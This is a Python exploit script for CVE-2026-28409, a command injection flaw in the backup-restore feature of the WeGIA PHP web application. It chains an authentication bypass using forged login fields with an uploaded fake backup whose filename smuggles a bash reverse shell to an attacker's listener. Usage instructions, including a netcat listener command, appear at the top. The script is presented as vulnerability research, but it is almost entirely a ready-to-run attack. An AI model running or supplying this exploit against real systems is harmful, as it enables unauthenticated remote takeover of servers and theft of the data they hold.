#!/usr/bin/env python3 # Exploit Title: WeGIA <= 3.6.4 Remote Code Execution via OS Command Injection in Backup Restore # CVE: CVE-2026-28409 # Date: 2026-02-28 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: # Vendor Homepage: https://github.com/LabRedesCefetRJ/WeGIA # Software Link: https://github.com/LabRedesCefetRJ/WeGIA # Affected: WeGIA <= 3.6.4 # Tested on: # Category: Webapps # Platform: PHP # Exploit Type: Remote # CVSS: 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) # CWE: CWE-78 # Description: OS Command Injection in backup/restore functionality allowing unauthenticated RCE when combined with authentication bypass # Fixed in: 3.6.5 # Usage: python3 exploit.py <target_url> --lhost <your_ip> --lport <your_port> # # Examples: # python3 exploit.py http://192.168.1.100/WeGIA --lhost 192.168.1.50 --lport 4444 # # Options: # --lhost Attacker IP for reverse shell # --lport Attacker listening port # # Notes: # - Requires netcat listener: nc -lvnp <port> # - Uses authentication bypass + command injection in filename during restore # - Payload is reverse shell via bash # # How to Use # # Step 1: Start listener # nc -lvnp 4444 # # Step 2: Run exploit # python3 exploit.py http://target/WeGIA --lhost 10.10.14.5 --lport 4444 import requests import urllib3 import urllib.parse import argparse import sys import time urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) BANNER = r""" ╔════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║ ║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║ ║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║ ║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║ ║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║ ║ ║ ║ b a n y a m e r _ s e c u r i t y ║ ║ ║ ║ >>> Silent Hunter • Shadow Presence <<< ║ ║ ║ ║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║ ║ Handle : @banyamer_security ║ ║ ║ ║ CVE-2026-28409 • WeGIA Backup Restore Command Injection ║ ║ ║ ╚════════════════════════════════════════════════════════════════════════════════════════════╝ """ print(BANNER) def parse_args(): parser = argparse.ArgumentParser(description="WeGIA CVE-2026-28409 RCE Exploit") parser.add_argument("target", help="Target URL (e.g. http://192.168.1.100/WeGIA)") parser.add_argument("--lhost", required=True, help="Attacker IP for reverse shell") parser.add_argument("--lport", required=True, help="Attacker listening port") return parser.parse_args() def build_payload(lhost, lport): revshell = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'" filename = f"dump;{revshell};poc.tar.gz" return filename def main(): args = parse_args() base_url = args.target.rstrip('/') lhost = args.lhost lport = args.lport session = requests.Session() session.verify = False malicious_filename = build_payload(lhost, lport) print(f"[*] Generated malicious filename: {malicious_filename}") dummy_content = ( b"\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x03" b"\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00" ) print("[*] Attempting authentication bypass + admin session") login_url = f"{base_url}/html/login.php" bypass_data = { 'c': 'true', 'cpf': 'admin', 'id_pessoa': '1' } try: r = session.post(login_url, data=bypass_data, timeout=10) if r.status_code != 200: print(f"[-] Login bypass failed (status {r.status_code})") sys.exit(1) print("[+] Auth bypass appears successful") except Exception as e: print(f"[-] Connection error during login: {e}") sys.exit(1) print("[*] Uploading dummy backup with malicious filename") upload_url = f"{base_url}/html/configuracao/importar_dump.php" files = { 'import': (malicious_filename, dummy_content, 'application/gzip') } upload_data = { 'usuario': '1', 'id_pessoa': '1' } try: r = session.post(upload_url, files=files, data=upload_data, timeout=12) if r.status_code not in (200, 201, 302): print(f"[-] Upload failed (status {r.status_code})") sys.exit(1) print("[+] Upload completed") except Exception as e: print(f"[-] Upload error: {e}") sys.exit(1) print("[*] Triggering restore → attempting RCE") restore_url = f"{base_url}/html/configuracao/gerenciar_backup.php" params = { 'action': 'restore', 'file': malicious_filename, 'usuario': '1', 'id_pessoa': '1' } try: r = session.get(restore_url, params=params, allow_redirects=False, timeout=15) print("[*] Restore request sent") print("[*] Check your listener for incoming reverse shell") print(f"[*] If no connection after 10-20s → target may be patched / firewall blocked / wrong path") except Exception as e: print(f"[-] Error during restore trigger: {e}") print("\nExploit finished. Waiting for shell...\n") if __name__ == "__main__": main()